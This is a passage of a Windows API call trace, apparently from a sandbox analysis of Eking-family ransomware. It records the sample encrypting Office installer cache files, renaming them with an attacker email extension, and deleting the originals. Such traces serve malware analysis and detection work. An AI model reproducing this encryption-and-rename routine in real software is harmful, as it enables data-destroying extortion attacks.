dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1a8 [0243.985] ReadFile (in: hFile=0x1c4, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0xaec3a, lpOverlapped=0x0) returned 1 [0244.001] WriteFile (in: hFile=0x1a8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xaec40, lpOverlapped=0x0) returned 1 [0244.026] WriteFile (in: hFile=0x1a8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x112, lpOverlapped=0x0) returned 1 [0244.026] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0244.026] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0244.026] WriteFile (in: hFile=0x1c4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xaec3a, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0xaec3a, lpOverlapped=0x0) returned 1 [0244.028] FlushFileBuffers (hFile=0x1c4) returned 1 [0244.754] FlushFileBuffers (hFile=0x1a8) returned 1 [0244.758] CloseHandle (hObject=0x1c4) returned 1 [0244.759] CloseHandle (hObject=0x1a8) returned 1 [0244.759] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1 [0244.767] SetEvent (hEvent=0xe0) returned 1 [0244.767] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0244.768] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=16852) returned 1 [0244.768] CloseHandle (hObject=0x1a8) returned 1 [0244.768] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml")) returned 0x2020 [0244.768] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml")) returned 0x2020 [0244.768] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0244.768] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0244.768] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0244.768] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0244.768] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1c4 [0244.769] ReadFile (in: hFile=0x1a8, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x41d4, lpOverlapped=0x0) returned 1 [0244.791] WriteFile (in: hFile=0x1c4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x41e0, lpOverlapped=0x0) returned 1 [0244.792] WriteFile (in: hFile=0x1c4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0244.793] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0244.793] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0244.793] WriteFile (in: hFile=0x1a8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x41d4, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x41d4, lpOverlapped=0x0) returned 1 [0244.793] FlushFileBuffers (hFile=0x1a8) returned 1 [0245.069] FlushFileBuffers (hFile=0x1c4) returned 1 [0245.663] CloseHandle (hObject=0x1a8) returned 1 [0245.663] CloseHandle (hObject=0x1c4) returned 1 [0245.663] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml")) returned 1 [0245.665] SetEvent (hEvent=0xe0) returned 1 [0245.665] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0245.665] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=222948913) returned 1 [0245.665] CloseHandle (hObject=0x1c4) returned 1 [0245.665] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab")) returned 0x2020 [0245.665] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0245.666] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0245.666] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0245.666] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0245.666] ReadFile (in: hFile=0x1c4, lpBuffer=0x3370058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x3370058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0246.454] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x46dfa10, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0246.454] ReadFile (in: hFile=0x1c4, lpBuffer=0x33b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33b0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0246.734] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0xd45ee31, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0246.734] ReadFile (in: hFile=0x1c4, lpBuffer=0x33f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33f0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0246.888] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb28 | out: lpNewFilePointer=0x0) returned 1 [0246.888] WriteFile (in: hFile=0x1c4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xc0112, lpOverlapped=0x0) returned 1 [0246.905] SetEndOfFile (hFile=0x1c4) returned 1 [0246.906] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0xd45ee31, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0246.906] WriteFile (in: hFile=0x1c4, lpBuffer=0x343014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343014a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0246.908] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x46dfa10, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0246.908] WriteFile (in: hFile=0x1c4, lpBuffer=0x343014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343014a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0246.911] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0246.911] WriteFile (in: hFile=0x1c4, lpBuffer=0x343014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343014a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0246.912] FlushFileBuffers (hFile=0x1c4) returned 1 [0249.424] CloseHandle (hObject=0x1c4) returned 1 [0249.424] SetEvent (hEvent=0xe0) returned 1 [0249.425] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0249.427] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=31094) returned 1 [0249.427] CloseHandle (hObject=0x1c4) returned 1 [0249.427] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0249.427] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0249.427] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0249.427] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0249.427] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0249.427] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0249.427] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x17c [0249.428] ReadFile (in: hFile=0x1c4, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x7976, lpOverlapped=0x0) returned 1 [0249.434] WriteFile (in: hFile=0x17c, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x7980, lpOverlapped=0x0) returned 1 [0249.435] WriteFile (in: hFile=0x17c, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0249.436] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0249.436] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0249.436] WriteFile (in: hFile=0x1c4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x7976, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x7976, lpOverlapped=0x0) returned 1 [0249.436] FlushFileBuffers (hFile=0x1c4) returned 1 [0249.440] FlushFileBuffers (hFile=0x17c) returned 1 [0249.441] CloseHandle (hObject=0x1c4) returned 1 [0249.442] CloseHandle (hObject=0x17c) returned 1 [0249.442] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0249.443] SetEvent (hEvent=0xe0) returned 1 [0249.443] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0249.444] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=1992192) returned 1 [0249.444] CloseHandle (hObject=0x17c) returned 1 [0249.444] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020 [0249.444] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0249.445] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0249.445] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0249.445] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0249.445] ReadFile (in: hFile=0x17c, lpBuffer=0x3370058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x3370058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0249.450] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0249.450] ReadFile (in: hFile=0x17c, lpBuffer=0x33b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33b0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0249.457] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0249.457] ReadFile (in: hFile=0x17c, lpBuffer=0x33f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33f0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0249.469] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb28 | out: lpNewFilePointer=0x0) returned 1 [0249.470] WriteFile (in: hFile=0x17c, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xc0112, lpOverlapped=0x0) returned 1 [0249.565] SetEndOfFile (hFile=0x17c) returned 1 [0249.565] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0249.565] WriteFile (in: hFile=0x17c, lpBuffer=0x343014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343014a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0249.567] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0249.567] WriteFile (in: hFile=0x17c, lpBuffer=0x343014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343014a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0249.569] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0249.569] WriteFile (in: hFile=0x17c, lpBuffer=0x343014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343014a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0249.571] FlushFileBuffers (hFile=0x17c) returned 1 [0249.603] CloseHandle (hObject=0x17c) returned 1 [0249.603] SetEvent (hEvent=0xe0) returned 1 [0249.603] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0249.604] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=4274) returned 1 [0249.604] CloseHandle (hObject=0x17c) returned 1 [0249.604] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0249.604] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0249.604] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0249.604] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0249.604] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0249.604] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0249.604] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1b4 [0249.605] ReadFile (in: hFile=0x17c, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x10b2, lpOverlapped=0x0) returned 1 [0249.612] WriteFile (in: hFile=0x1b4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x10c0, lpOverlapped=0x0) returned 1 [0249.613] WriteFile (in: hFile=0x1b4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0249.613] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0249.613] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0249.613] WriteFile (in: hFile=0x17c, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x10b2, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x10b2, lpOverlapped=0x0) returned 1 [0249.613] FlushFileBuffers (hFile=0x17c) returned 1 [0249.628] FlushFileBuffers (hFile=0x1b4) returned 1 [0249.630] CloseHandle (hObject=0x17c) returned 1 [0249.630] CloseHandle (hObject=0x1b4) returned 1 [0249.630] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0249.631] SetEvent (hEvent=0xe0) returned 1 